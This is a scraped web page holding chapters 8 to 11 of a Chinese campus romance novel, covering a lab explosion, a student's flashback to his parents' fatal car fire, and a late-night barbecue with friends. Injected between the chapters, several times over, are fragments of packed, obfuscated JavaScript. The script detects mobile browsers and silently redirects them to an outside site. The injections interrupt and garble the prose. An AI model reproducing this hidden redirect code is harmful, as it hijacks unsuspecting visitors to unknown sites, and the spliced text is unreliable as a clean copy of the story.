;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146416|196389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来看去,而后灵光一闪:“没!没事了。” 边说边后退,急匆匆地下楼,到楼梯拐弯处,还对应晏抬手打招呼:“拜托你啦应晏!” 应晏还没来得及说再见,陈维之就不见了。 他呆呆地从楼梯上收回视线,听到夏丛说:“我们也走吧。” 夏丛自然地搭着他的肩。 应晏僵了一下,很快反应过来,跟上夏丛的节奏。 男生之间勾肩搭背一起走,很正常。 所以应晏没有挣脱,老老实实地被夏丛揽着。 下午四点,太阳依旧炽烈。 走出教学楼的时候,夏丛就放开了应晏。 空荡的校园里,两个人的身影并排着,慢慢悠悠地走在横跨湖面的木桥上。 拂过湖水的风也带着燥热的气息。 一长一短的影子,从木桥一头平移到另一头。 最近的停车场在图书馆背后,他们路过的时候,收到了好多同学的注目礼。 原因之一,是外貌过于出众。而且肤色都白,体型却相差明显。 矮一点的那个堪堪有另一个的肩膀高。 另一个原因是,他们在校园论坛上都有一些讨论。 夏丛是因为有在床上养蛇的传说。 据说那晚月黑风高,空气里蔓延着诡异的寂静。 某个室友偶然起夜,就看见靠近窗台的那张床上,一条粗壮的的不明物体,从床帘底下垂落。 反射着冷调的月光,看上去湿漉漉。 好像还在呼吸…… 一声凄厉的尖叫刺破理工院的男生宿舍楼。 其余寝室纷纷亮灯。 第二天,夏丛就成了大家口中的怪人。 于是没过几天,夏丛申请了退宿,独自在校外租房。 不过,因为夏丛性格不错,待人也好,风头过了之后,大家还是正常地跟他交流。 而应晏则是因为异瞳。 起初是同班同学觉得稀奇,跟朋友分享此事。 一传十十传百,没过多久大家就都知道了,统计专业有个异瞳的帅哥。 比起排挤或者歧视,更多人抱着看热闹的态度。 此时两个人凑在一起,虽然不至于被拍下照片,但也有吃瓜的人拉着同伴讨论。 他们选择忽略这些目光。 夏丛则是从应晏背后绕过,换到应晏的另一侧去。 那些好奇的视线,便被夏丛的身体挡住。 几分钟后,两人先后坐进车里。 夏丛从后座取出两瓶水,拧开之后,分给应晏一瓶。 等应晏拧紧了盖子,他才发动车子,平稳地向前行驶。 比起车里的人,夏丛开的车才是真的引人注目。 黑色的豪车从校园驶出,开进学校附近的一座老旧小区,一路上都频频有人侧目。 安全带分别解开,应晏局促地握着水瓶,正思忖着如何开口,夏丛先打断了他的话:“道谢就不用了。” “……”应晏的谢谢卡在喉间,硬生生咽下去,乖乖对夏丛点头。 夏丛没急着下车,而是问他: “刚刚听见你说,你不喜欢男生?” 8. 第 8 章 应晏被突如其来的问题问得怔住。 他不知道夏丛跟他探讨这种话题的目的。 漂亮的眼睛映着迷惑的光,应晏不明所以地点点头。 好在夏丛没有接着问,就像真的只是偶然听到,然后随口一提。 夏丛打开车门,长腿一跨,弯腰踏了出去。随后从前面绕过来,帮应晏开门。 一只大手挡在应晏的头上。 他们并肩走进居民楼。 等电梯的过程中,夏丛倏地再次开口:“以后需要你参加的会议,我会单独通知你,其他人通知的都不用看。” “我知道了。”应晏低低地应声。 吃一堑长一智,他不会再轻易相信别人的话了。 但汤文是朋友…… 应晏心里嘀咕。 不过,开会的时候,应晏听到夏丛说实验室已经申请到了,周六上午就要进行第一次实验。 从夏丛嘴里听到的,那肯定不会被骗了。 于是应晏仰起头看向夏丛,亮晶晶的双眸里带着点期待:“学长,周末实验的时候我可以去看看么?” 嗓音像甜软的棉花糖。 夏丛的眼睛好像眯了一下,点点笑意在墨黑的双眸间漾开。 考虑了一会儿,夏丛答应他:“可以,但去的时候要保护好自己。” 实验好像会用到3D打印机。 据说不小心的话,会引起高温烫伤,以及一些其他的危害。 应晏使劲点头,保证道:“我会离远一点的。” “……”夏丛深深地看了他一眼。 最终什么都没说,只是照常跟应晏一起回到出租屋里。 周六,实验室。 得到夏丛应允后,应晏就真的出现在实验室门口。 实验显然还没有开始,里面的人追逐打闹,不时传出几句带着脏字的笑语。 应晏一进门,就看到人群里分外高挑的夏丛。 夏丛今天换了件白色的防护服,挺括的布料披在他魁梧的身体上,衬得他身材修长。 跟平日惯常穿的酷帅的黑色服饰相比,白色的防护服让应晏眼前一亮,夏丛身上总是温柔灿烂的气质被更明显地凸显出来。 “操啊,你不会弄就让我来,蠢货。” “你来你来,你比我好到哪去。” “我要是成功了你喊我爸爸。” “诶,儿子!” 实验台边,几个人围在一起,其中两个在准备材料,互相笑着对骂。 夏丛似是无奈地跟着笑了笑,转眼看到应晏,便立即迎接他。 “跟我来。”夏丛轻轻握着应晏的手臂,把他带到准备室里。 泛着绿的玻璃橱柜里放着各种化学仪器和试剂。 夏丛拿出一件崭新的防护服,拆掉包装,披在应晏外套外面。 “呃……我自己来就行。”突然拉近的距离里,应晏可以闻到夏丛身上淡雅的沐浴露香气。 夏丛动作继续:“没事,马上好了。” 太近了。 应晏瞬间警觉起来,抬起手,扯住衣领。 却抓到了夏丛的手。 应晏急忙放开,心跳扑通扑通地喧嚣。 他只好像个木头人一样,任夏丛给他穿好防护服。 肤色几乎跟衣料融为一体,在发丝遮盖下的耳根却透着深红。 他提了提衣服,想藏住被红晕慢慢渗透的脸。 夏丛适时递给他一个口罩:“一会儿可能会有点难闻的味道,你觉得受不了的话可以出去透透气。” 小组的研究课题叫“农业废弃物基复合材料的3D打印适配性及低成本应用开发”,实验过程中可能会产生刺激性气味。 而应晏关注的是—— 太好了。 他的目光紧盯着口罩,从夏丛手上一接过来,就眼疾手快地戴上。 这下脸红就不会很明显了。 应晏口头答应,却并没有真的打算离开实验室。 他跟在夏丛背后,走到实验台边。 吵闹半天,一边开玩笑一边准备材料的一群人,变成了真正的追逐战。 绕着实验室满屋跑。 夏丛笑了两声,才正色起来敲敲桌面:“好了,别拖了,”他检查完器材,维护好秩序,“开始吧。” 夏丛启动打印机,做了一些应晏看不懂的动作。 他只记得学长那双青筋分明的手很好看,似乎也很有力。 几分钟后,一个基础测试的样件被夏丛取了出来。 人群围拢过去,七嘴八舌地讨论着。 夏丛便把实验台让给了其他的组员。 应晏在旁边观望片刻,新奇感得到满足,同样的操作换人重复了几次,他渐渐开始分神。 实验台前的成员们还在你一言我一语地斗嘴。 “你别努力了,一会儿把我们实验室炸了!” 所有人都在笑。 他们知道爆炸的概率极低,所以毫无顾忌地往夸张的方向说。 “炸个屁,真炸了我把打印机吃了。” “呸!吃打印机算什么,有本事你把那边没用完的稻壳粉全吃了。” “吃就吃,我还要喷你一脸。” …… 应晏笑着退出人群,转过头,发现窗边斜倚着一个人影。 从实验室的窗户望出去,就是一片绿荫。花木高低错落,疏密有致,早上的太阳便从叶片罅隙里发着光。 一阵风起,夏丛的发丝和衣角轻轻拂动。 树影摇晃间,一枚光斑恰巧落在夏丛眼窝。 而早开的桂花香气,飘进应晏的鼻腔里。 他抬脚走了过去,扶着窗台,距离夏丛两三步。 应晏看到夏丛闭眼做了个深呼吸。 他笑起来,尝试和夏丛搭话:“很香吧?” 应晏皮肤上还残留着沐浴露的茉莉味道。 夏丛听到他的话,怔愣了一下。 随后,缓慢地偏过头,视线转向应晏。< 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一切开始平静下来的时候,他转身朝实验台看了一眼。 不知道是什么爆炸了,此刻3D打印机只剩下了残骸,周围的易燃材料还没来得及收拾,爆炸引起的火有越烧越烈的趋势。 抱着头蹲在地上的大家陆续缓过劲来。 有人惊呼一句:“操?真炸了!” 另一个人跟着哀嚎:“我去!我不想吃屎啊!” 大家很快恢复理智,又开始断电救火。 幸好灭火器就在不远处。 夏丛正欲起身,但防护服被应晏的身体压住,他没能一次起得来。 他低头调整,想把衣角拽出来的时候,偶然碰到应晏的手指。 冰得离谱。 夏丛霎时发现对方的不对劲。 他把应晏横抱着坐起来,让后者的耳朵贴在自己胸口。 “应晏!”夏丛轻轻拍了拍他的脸,手指在应晏眼前晃了晃,“应晏,你看看我。” 可是没有听到任何回应。 本就苍白的皮肤变得煞白,血色全无。 应晏缩在夏丛怀里,两只手都攥紧,目光一眨不眨地紧盯着火光,却完全失去了平日的神采。 他的身体在本能地发颤。 尽管不知道具体原因,夏丛也能一眼确定。 应晏在害怕。 他捂着应晏的眼睛,强迫对方把头埋在他胸口。 宽大的手掌,握着应晏的两只手,试图让它们回暖。 同时,横抱着应晏的那只手,在应晏背后安抚性地一下一下拍着。 他温和地将下巴抵在应晏额头,尽可能将声音放得很轻,低声哄道:“好了,没事了,应晏。别怕……” 9. 第 9 章 应晏已经什么都听不清了。 泪珠扑簌簌地夺眶而出,眼前的一切都变得模糊。 他只能看到熊熊燃烧的烈火,热浪呼啸着,映衬出火光里依稀的人影。 车轮在地面上剧烈摩擦,划出刺耳的轰鸣声响,在地面拖出一条长长的刹车痕。 应晏被无比熟悉的手拖着,扔出车窗外。 他滚到路边的绿化带里,身体撞到一棵行道树,磨破了手臂,才将将停住。 好疼。 就像五脏六腑被一只手搅乱,又抓着它们复位。 “爸爸……妈妈……”应晏的目光紧盯着那辆打滑的车,跟一辆超重的货车碰撞后,车身严重变形,碎了满地玻璃碴。 尽管身体沾满泥土,擦伤的手掌也被雨水刺痛。 应晏还是将指甲陷进土里,用力朝两车相撞的方向爬。 他看到爸妈下了车。 看到爸爸保护着妈妈,抱着头,狂跑着远离车子。 也在向他奔来。 于是他更努力地爬过去。 “轰”一声。 汽车猝不及防地爆炸。 汹涌的热浪扑到他脸上,雨水却隔绝开他的视线。 汽油在地面晕出难闻的彩虹,火就瞬间吞噬了彩虹的边缘。 火势几乎要窜到天上去。 尽力奔跑的父母,转眼就倒地不起。 他看到一只手,从火焰底部的蓝紫色里伸出来,想要抓住什么。 又好像只是想挣扎着爬出来。 父母的脸庞被焦黑覆盖。 应晏终于站起来,顾不上膝盖的疼,撒腿跑向父母。 可他被起伏不平的石子绊倒。 于是他再次屈起身子,用手肘和膝盖在粗糙地面上爬行。 “嘭——”又是一声爆炸。 爸爸被气浪掀开好几米,像一根木头那样无力地滚了几圈,停下来时早已闭上了眼睛。 应晏好像意识到什么,豆大的泪滴从眼眶掉落,心脏连着喉咙都开始发紧。 “晏晏。”他听到妈妈叫他。 幼小的应晏眉心不受控制地拧紧,嘴角抽搐着:“妈妈!” 他的手肘破得不成样子,可还在向前爬。 妈妈在对他笑,像从前的很多次那样,浅淡的笑。 隔着蒙蒙的雨雾,他听见妈妈说:“宝贝,晏晏听话,不要过来。” 他倔强地摇着头,奋力想要回到母亲的怀抱。 不知何时聚拢过来的人群里,突然有一个拉住了他。 他挣扎。 可他太小了,根本拧不过大人的力气。 只能眼睁睁看着母亲嘴角含笑,缓慢地闭上了眼。 明明只差一点点…… 差一点,爸妈就能逃离那场爆炸。 差一点,他就可以抓住妈妈的手。 他浅蓝色的眼睛里下了场雨。 却浇不灭那场大火。 他对父母最后的记忆,永久地定格在那句“不要过来”的唇语里。 一阵兵荒马乱。 “应晏?应晏!”略带慌乱的男声响在耳畔。 应晏觉得自己被抱起,经过上上下下的一会儿颠簸后,他被谁放了下来。 但两只手臂都还紧紧圈着他,将他按在温暖的怀抱里,不住地拍打着他的后背。 那个男声扬声对周围说:“水!毛巾!快去找来。” 实验室外吹过一阵风,空气里不再充满刺鼻的气味,热得令人烦躁的温度似乎也降低了一些。 夏丛安抚地摸摸应晏的脸,又揉了揉他的头发:“应晏,没事了,醒醒。” 靠在夏丛怀里的男生渐渐放松了下来。 清秀的眉头聚到一处,眼角不断有晶莹的液体滚落。 嘴唇也一开一合,好像在念叨着最亲近的两个称呼。 听到夏丛的吩咐,一群人手忙脚乱地到处翻找,更有甚者直接拦住路过的老师,高价收购了一瓶矿泉水。 毛巾则是被纸巾替代。 一时间,所有人都忧心地望着瘦弱的男生。 人群之外,着急忙慌找齐了矿泉水和毛巾的某个被长发遮住半边脸的男生,正要将东西送去,却被人墙阻隔在外。 他动作一顿,脸上闪过片刻空洞。 旋即回神,沉眸望着人群簇拥下的应晏。 塑料水瓶不知不觉间被攥得扭曲,发出咔咔的声响。 随后,他面无表情地混入人群,拧开瓶盖,仰头自己一饮而尽。 夏丛擦了擦应晏额角的汗,把人抱起来点,抽了张纸给他拭泪。 “应晏,我是夏丛,我一直在这里。” 夏丛柔声道:“想喝水么?张嘴,慢慢喝。” 圆润的双眸缓缓睁开。 睫毛被泪水凝成簇,显得颜色更深,眸光也更湿润。 发抖的身体依然昭示着恐惧。 呆愣愣的目光逐渐转向夏丛,映入眼帘的是对方硬朗的下颌线,再上抬,看到夏丛的嘴唇微动,向他温和地说话。 应晏眨眼缓了缓,慢好几拍地理解夏丛的语句,重复道:“夏丛……” 嗓音微弱、紧涩。 看到应晏终于有了反应,夏丛紧绷的神色稍稍放松,露出一如往常的笑意:“嗯,我是夏丛。渴不渴,要不要喝水?” 应晏舔舔干涩的嘴唇,诚实地点点头。 夏丛便拧开水,凑近他的唇,喂了他一小口水。 淡色的唇慢慢湿润,泛着清透的水光。 清凉的水唤回了应晏的意识。 他才发现自己正以暧昧的姿势被夏丛抱着。 惧意未散的眸光倏地动摇,瓷白的脸颊后知后觉地浮现出一层暖色。 应晏坐直身体,默默拉开距离,别扭地转过头去。 被太阳照得透亮的薄薄耳根,爬上了明显的绯红。 应晏:“抱歉学长,我现在没事了。” 他强撑着站起来,说声谢谢,为了证明自己真的很好,抬脚迈出一步。 然而腿一软,应晏整个人向前栽倒。 完了,装大了。 应晏闭起眼,做好了跟地面拥抱的准备。 却落进一双沉稳有力的臂弯。 紧闭的眼试探性地睁开一边。 阳光照着夏丛优越的骨相,落在脖颈间的阴影都显得利落。 应晏被抱着走了两步,才想起问:“学长,我们去哪?” 夏丛目视前方,不假思索地说:“医院。” 出乎夏丛意料的是,一听说要去医院,本来乖乖的应晏忽然挣扎起来。 刚刚恢复镇静的双眸重新波动,固执地拒绝:“不,不去医院。” 夏丛只当他讳疾忌医,手臂收紧了些:“别逞强。” 可应晏看上去不像逞强。 剔透的眸光里多了几分恳求。 他只好退让一步,软软地跟夏丛说:“学长,麻烦你送我回去吧。” 对上夏丛低头看来的视线,应晏保证:“我房间里有药。” 像是读懂了应晏的害怕,夏丛默然两秒,终究点了头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146418|196389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只是提出了要求:“别乱吃药,要是突然有哪里不舒服,直接敲我的门。” 应晏胡乱地点头。 眼神诚恳,先前的一丝害怕也全数消失了。 但两个男生抱在一起走太暧昧了,应晏推了推夏丛的胸口:“学长,我自己可以走。” 担心夏丛说他逞强,应晏抢在对方之前道:“你可以扶着我么?” 应晏真的很不会隐藏情绪。 注意到应晏说话时一直捏着手指、眼神飘忽不定的夏丛如是想道。 “行。”或许是理解了应晏别扭的点,夏丛垂眸思索片刻,就把应晏放了下来。 随即扶着应晏的肩膀,乘坐电梯到地下车库。 回去的路上,应晏垂着脑袋,情绪肉眼可见地低沉。 幸好,夏丛没有问他方才发生的事,也没有同他搭话。 应晏实在没有精力回答任何问题,他现在连张嘴都觉得费力。 出租屋的客厅整洁明亮,地面白色的瓷砖反射着淡黄日光。 电视柜上的透明花瓶布满灰尘,早已枯黄的绿植蔫蔫地低着头。 应晏目不斜视地掠过去,停在自己房间的门前。 他都要一声不吭进去了,但还是觉得自己应该跟夏丛说点什么。 于是他幅度极小地偏过头,语气强作轻快地说:“学长,谢谢你。” 他打开门,踏进去一只脚。 夏丛的声音在他背后响起,带着一点关切,以及一丝很难察觉的恳求:“别锁门,不要在窗边盯着楼下看太久。” “好么?”夏丛盯着应晏的眼睛,即使应晏并没有看过来。 应晏大致能理解夏丛的意思。 他现在的状态看起来太差了,就好像随时都准备着放弃一切。 夏丛应该是怕他一时想不开吧。 应晏提了提嘴角,却终究没有笑得出来。 他不再强装笑容,只是轻轻点头,便进屋,把自己关在房间里。 窗帘被他拉了下来,刺眼的阳光顿时减弱了大半。 应晏扑到床上,脸埋在枕头里。 泪水无声地洇湿枕巾,他呼吸不畅,即使憋得满脸通红,也没有把自己拽出来的想法。 他抱紧枕头,手臂被那下面存放许久的物品硌到。 应晏顿了顿,咬着唇,反手将那东西握在手心里。 埋着的头缓缓抬起,眼眶和鼻头都透着水润的绯红。 应晏擦了擦眼,定睛望向手里的黑色盒子。 打开。 里面躺着一块平安扣,温润剔透的白色玉身,点点翠绿在里面晕染。 那是父母特意为应晏求的。 他先天就患有失盐型CAH,甚至被医生断言活不过三岁。 可父母没认命。 他们带着应晏辗转好几个城市,请了专家组针对治疗。 他挺过了三岁。 再过了两年,病情才稳定下来。 之后他要一辈子都服用药物。 应晏并不觉得命苦,相反,他认为自己很幸运。 他有过完整的、幸福的、被父母爱着的童年。 所以说,爱是真的可以创造奇迹的。 泪珠坠落,沾湿手心里的暖玉。 双眸被玉坠闪动的光浸润,应晏紧握着它,抵在心口。 然后收起双腿,将自己的头埋进臂弯里。 终于没忍住抽泣起来。 喉管酸涩,嗓音微哑: “妈妈……” “爸爸……” 10. 第 10 章 应晏睡醒的时候,整座城市都被夜色笼罩着。 哭到缺氧睡着的后果就是,手脚麻麻的,连带着脑袋也运作迟缓。 靠着床头坐了好一会儿,他才意识到天已经黑尽了。 应晏倏然惊醒,伸手去摸床边的手机。 20:07。 以往这个时候,他应该在酒吧里送酒。 现在他已经迟到了整个下午。 应晏揉了揉眼,匆匆点开通讯录,给酒吧老板发去消息。 [强哥对不起,我刚刚出了点状况,马上就来上班。造成的损失您按合同扣就好,今天的夜班排给我吧。] 老板是个年轻人,平时对员工很体谅。 应晏心中默默算了算,今晚上个夜班,再连上明天一整天的班,至少能在零点之前回来。 不至于影响周一的早八。 消息发送过去,短时间内收不到回复。 于是应晏换了身干净衣服,临出门前,对着镜子检查自己的状态。 ……糟了。 眼皮夸张地浮肿,软乎乎地耷拉下来。泪痕残留在泛红的眼周,睫毛凝成一簇一簇。 应晏理了理头发,用掌心拍拍自己的脸,勉强勾起一个笑。 肿胀的眼睛微微弯起,肌肤撕扯着,一阵酸痛。 需要用冰块紧急冰敷一下。 于是,应晏拿起手机,像从前那样,打开手电筒,从门拉开的小缝里探出摄像头,自己则躲在门背后观察外面的情况。 手机里没有照出他所想的昏暗。 而是映出一个人影。 听到他开门的声音,夏丛转身看过来,却被应晏的手电筒晃得眯起眼。 随后弯腰捂着手电筒,对镜头温煦地笑。 眼里裹着一分促狭,像是发现了什么小秘密。 “你之前一直这样躲着出门么?”夏丛问他。 他现在的样子,确实鬼鬼祟祟。 应晏讪讪地收回手机,意识到夏丛在客厅等了他很久。 外面是亮堂的白光,淡淡的食物香气飘在他的鼻腔里,他还能听到电磁炉工作的嗡嗡声。 夏丛当然没指望得到他的回答。 应晏一笑带过,偏开头,尽力避开夏丛的视线,跑去冰箱旁边。 路过灶台时,他看到锅里咕嘟冒泡的白粥,飘着浅淡的甜味,软烂黏稠。 一下午没吃东西的应晏,瞬间感觉肚子空空。 像是察觉到应晏的视线,夏丛走了过来。 “吃点东西吧,你在里面关了很久,没胃口的话,至少喝点粥。” 肌肉匀称的小臂拿起汤勺,给应晏盛粥。 哦,特意为他熬的。 应晏心里了然,垂下视线点点头。 “谢谢学长。” 他强迫自己不看它,拉开冰箱,取出一瓶冰水,再裹上一层纸巾,敷在眼皮上。 夏丛端着碗和勺出来的时候,一眼就捕捉到应晏下意识躲藏的动作。 冰水压着的眼皮依然红肿着,凝结的小水珠顺着眼窝淌下来,润湿周围的小片皮肤。 夏丛收回视线,把粥和萝卜干摆在应晏面前,随后拉开一把椅子,顺势坐在应晏身旁。 “以后出门你不用这么怕,”夏丛没有提他眼睛的事,状似无意地说,“我的蛇死了。” 应晏果然被转移注意,洇着湿意的双眼迷惑地睁大,侧目看向夏丛:“死了么?” 夏丛回望着应晏的眼睛,点头。 他主动接过冰水,轻轻敷在应晏的眼皮上,敷几秒,移开,再贴上去。 夏丛敷的感觉,跟应晏自己按着完全不一样。 点点气泡在心里冲撞着,破裂,再像烟花一样炸开。 应晏任夏丛如此反复几次之后,眼睫颤了颤,抬手握住瓶身:“我自己来就好……” 夏丛没让他得手。 “两只手都托着水瓶,你还腾得出手吃饭么?” 应晏听话地松手,低低地回答:“哦。” 他捧着碗拿起勺,毫无意义地戳了戳粥:“学长吃过了么?” 夏丛重复着先前的动作,壮实的手臂上划过一道水迹。 “我吃过了。” 应晏有点出神:“哦。” 放在桌面的手机倏地亮起来。 强哥:[?] 应晏比这个问号更疑惑。 按照老板的脾气,应该会接受他提出的补救措施。 顶上的备注名变成了“对方正在输入”,应晏停止咀嚼,有些紧张地等着老板的下文。 下一秒。 强哥:[你不是找朋友替你了么?] 强哥:[病了好好休息,没关系。] 应晏更懵了。 没顾得上挡在眼前的冰水瓶子。 应晏:[朋友?] 手指在发送键上停顿几秒,应晏删掉编辑好的信息,最终给老板发了“谢谢”。 他快速喝掉最后一口粥,借手机反光照了一下自己的眼睛。 浮肿已经肉眼可见地消了一圈,但仍然能看出应晏哭过。 他正要收拾碗勺,夏丛便将水瓶塞进他的手里,十分自然地做了他想做的事。 “要走了?”夏丛问。 应晏吃粥的时候他一直注意着,萝卜干一口没动,就连饭都犹豫了很久才张嘴吃掉。 “嗯。”应晏回答,目送夏丛宽大的背影进入厨房。 夏丛:“我送你。” 语气熟稔,藏着一丝不容置疑的笃定。 大概是不放心让他自己一个人待着吧。 应晏只好握着水瓶,坐在原地等。 夏丛洗了手,抽几张纸擦干水分,随手扔进垃圾桶,再拿了车钥匙,开门按电梯。 应晏低头跟在他背后。 周六晚上的大学城总是很热闹,酒吧外车流如织,食物冒着烟的香气飘得满大街都是。 停好车以后,夏丛走向酒吧,应晏要踏着小碎步才能跟上对方的速度。 他把夏丛送到靠里的位置,才活动着脖子朝更衣室走去。 “应晏?” 应晏循声看过去,是个穿着工作服的男生,脸被口罩遮住,但披散的长发让应晏一眼认出了对方。 “汤文?”应晏惊喜道,“你怎么……” 应晏还没问完,汤文就跟他异口同声道:“你怎么来了?” 意识到彼此的默契,两个人眯眼笑了一声。 “我来帮你替班,一会儿陈维之也来,你没看我们的消息么?” 汤文伸手拨开应晏额前的发丝,心疼地说:“你看你眼睛都红了,怎么不多休息一晚上。” 虽然见到汤文的瞬间,应晏就预感对方是老板口中替他上班的“朋友”。 但亲耳听到汤文这么说,他还是不由自主鼻腔发酸。 汤文背过身去,假装没有看到他再次变红的眼眶:“对了,你刚才好像跟谁一起来的,我没看清还差点不敢认你。” “是夏学长。”应晏转进更衣室,换上工作制服,捞起帘子走出来。 应晏看不到汤文的表情,只听见后者拖长声调说:“哦,夏学长啊……” 汤文:“中午也是夏学长送你回去的吧。” 应晏没来得及听清对方话里的情绪,因为他的目光很快在门口捕捉到一个人影。 灵动的眸光更亮地闪动一下。 “陈维之!” * 老板终究没有把夜班排给应晏,于是应晏下班的时候,邀请三个人一起去旁边的烧烤摊吃宵夜。 人潮散去,只剩三三两两的大学生在外觅食。 烧烤摊摆在路边,一行人随机挑了张干净的方桌,就一人一边坐了过去。 烤肉滋滋冒着油,烟雾缭绕。 分明只有四个人,应晏却第一次生出一种自己周边很热闹的感觉。 “你们喝酒么?”汤文跟陈维之头凑着头勾菜单,看到啤酒的时候,前者抬起头问道。 夏丛没发表意见。 陈维之顺嘴回答:“应晏不喝酒。” 应晏明显一僵,勾唇笑道:“你们喝的话就点几瓶吧。” 他酒量很不好。 而且医生说过,以他的身体状况,最好不要喝酒,就算喝一点点也需要报备。 但他不想扫兴。 只是看着朋友们聚在一起吃喝玩乐,他就觉得很开心了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146419|196389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 烧烤和酒一起端了上来。 不是啤酒,是两瓶度数不高的老白干。 陈维之和汤文不知道什么时候打成了一片,两个人像有说不完的话。 应晏和夏丛则相对安静。 汤文见应晏吃得少,给他抓了一大把烤串放到面前。 “应晏你真不喝酒啊?”汤文眼神涣散,喝了四五杯酒,已经有点醉态。 应晏摇摇头:“不喝。” 汤文“哦”了一声,转过头去鼓弄片刻,倒满一杯澄澈的酒,搁在应晏眼前:“你看我倒都倒了,不喝一杯是不是不够意思?” “我……”应晏怔忡地看着酒杯。 汤文:“你酒精过敏么?” 应晏又摇头:“不是。” 汤文手指比着1:“那不就得了?就一杯,一杯!” 应晏迟疑片刻,抬手端起酒杯—— 一只比他粗壮很多的手从侧面伸过来,将应晏手里的酒夺走。 应晏愣愣地顺着酒杯看过去。 夏丛替他一饮而尽。 汤文便露出一种吃了苍蝇的表情。 陈维之钦佩鼓掌。 应晏反应过来的时候,夏丛放下了酒杯,正在揉他的脑袋。 嘴唇勾着,黑沉沉的双眼里却不见笑意。 “不要勉强自己。” 应晏:“哦……” 他应答完,就一直沉默着。 夏丛的手已经从他头上挪开了,他却觉得头顶那股热度很久都没有散去。 一棕一蓝的眼眸盯着夏丛的手。 久到夏丛察觉到应晏异常,蓦地看过来的时候。 应晏:“学长,你今天又不能开车了。” 夏丛像是挑了下眉,笑着说:“是啊,所以我们走回去也可以。” 应晏就接着点头。 昏暗的路灯底下,风一吹,他的头发变得乱糟糟的。 汤文听了一会儿,突然想起什么:“对哦,应晏和夏学长是住在一起么?” 应晏下意识否认:“不是住一起。” 话说出口,他自己先后悔了。 他以为汤文说的住一起是指睡在一起,一个房间一张床的那种。 夏丛侧眸朝他看了一眼,没有纠正,而是顺着应晏的话解释:“准确来说,我们算邻居。” 进一个门的邻居而已。 说到邻居,应晏不由想起周一那天,陈维之为了他跟室友吵架的情形。 “对了陈维之,你和他们两个怎么样了?” 陈维之趴在桌上,仰着头听他们聊天。 猝不及防被提到,陈维之搓搓脸坐起来:“放心,其实还好,就跟以前差不多。” 应晏若有所思:“那就好。” 夏丛离席接了个电话。 汤文趁机给应晏塞了杯酒:“最后小半杯了,你真不喝么?” “那天看你不接刘宁的酒,还以为你是不接讨厌的人给的酒。” “你要是不喝的话,至少抿一小口,剩下的我都喝完,怎么样?” 应晏定定地望着那杯酒。 说是小半杯,其实几乎要溢出来了。 夏丛不在,陈维之也趴在桌上说梦话。 看到汤文眼底抑制不住的失落,应晏根本不忍心拒绝。 他端起酒杯,仰头全灌了下去。 好辣。 应晏不禁皱起眉头。 夏丛挂断电话回来的时候,就看到原本心有不甘的汤文笑得灿烂,而应晏扶着额,大口灌水。 “你喝酒了?”夏丛坐到应晏身旁,长臂一伸,把应晏的脑袋转过来。 男生的脸颊发烫,亮晶晶的双眼迟钝地聚起焦,对夏丛不设防地眨着。 汤文捞起睡得不省人事的陈维之,仓促撤离:“学长,我送他回去,应晏交给你了。” “嗯。”夏丛颔首。 两个大学生东倒西歪地走到路边,拦了一辆出租车。 应晏迷迷糊糊知道朋友离开,眯眼对他们挥手。 唇角满足地勾着,梨涡里盛满了酒醉的薄红。 夏丛朝披散着长发的男生多看了眼。 眼神锐利,不带一丝温度。 11. 第 11 章 夏丛回过头的时候,应晏不知何时挪到了路边。 坐在马路牙子上,毛茸茸的头发乖顺地搭在额前。 应晏捧着脸,仰头盯着天上的星星。 夏丛蹲在他面前:“上来,我背你回家。” 应晏没有反应。 深夜的凉风掀起衣摆,小吃街变得冷清,偶尔有人说话便显得格外清晰。 夏丛背过身看向应晏。 应晏出神地望着星星。 星星一闪一闪地跟应晏捉迷藏。 “我家很早就被卖掉了。”应晏忽然出声。 被浓重酒气洇染的软糯声线里带着鼻音。 “我回不去了。” 就算回去,那里只剩下他一个人。 空寂、苍白。 应晏把头埋进膝盖,深深地吸了一口气,再吐出来。 抬起头时,应晏通红的脸上挤出笑意,像是想起什么,他小碎步跑到烧烤摊老板身旁。 “老板,结账。”应晏乖巧地笑着。 老板看了一眼他背后的人:“结过了。” 反应迟钝的应晏展示付款码,被夏丛摁熄手机之后,他才意识到自己不用再付钱。 神色以极快的速度冷落下来。 他认清眼前的夏丛,低声嘟囔着:“学长总是这样……” “我怎么?”夏丛颇觉有趣地弯下腰,平视着他。 应晏苦思许久,小声道:“抢着结账……还经常一声不吭地帮我。” 夏丛被他的模样勾起笑意:“我不能帮你么?” 应晏摇摇头,又点头。 “我都不知道怎么回报你。” 夏丛垂眸,喉结随笑声颤了颤。 他揉了揉应晏软乎乎的头发,温声说:“想报答我么?” 夏丛再次背对着应晏蹲下去:“想的话,就上来,我们一起回去。” 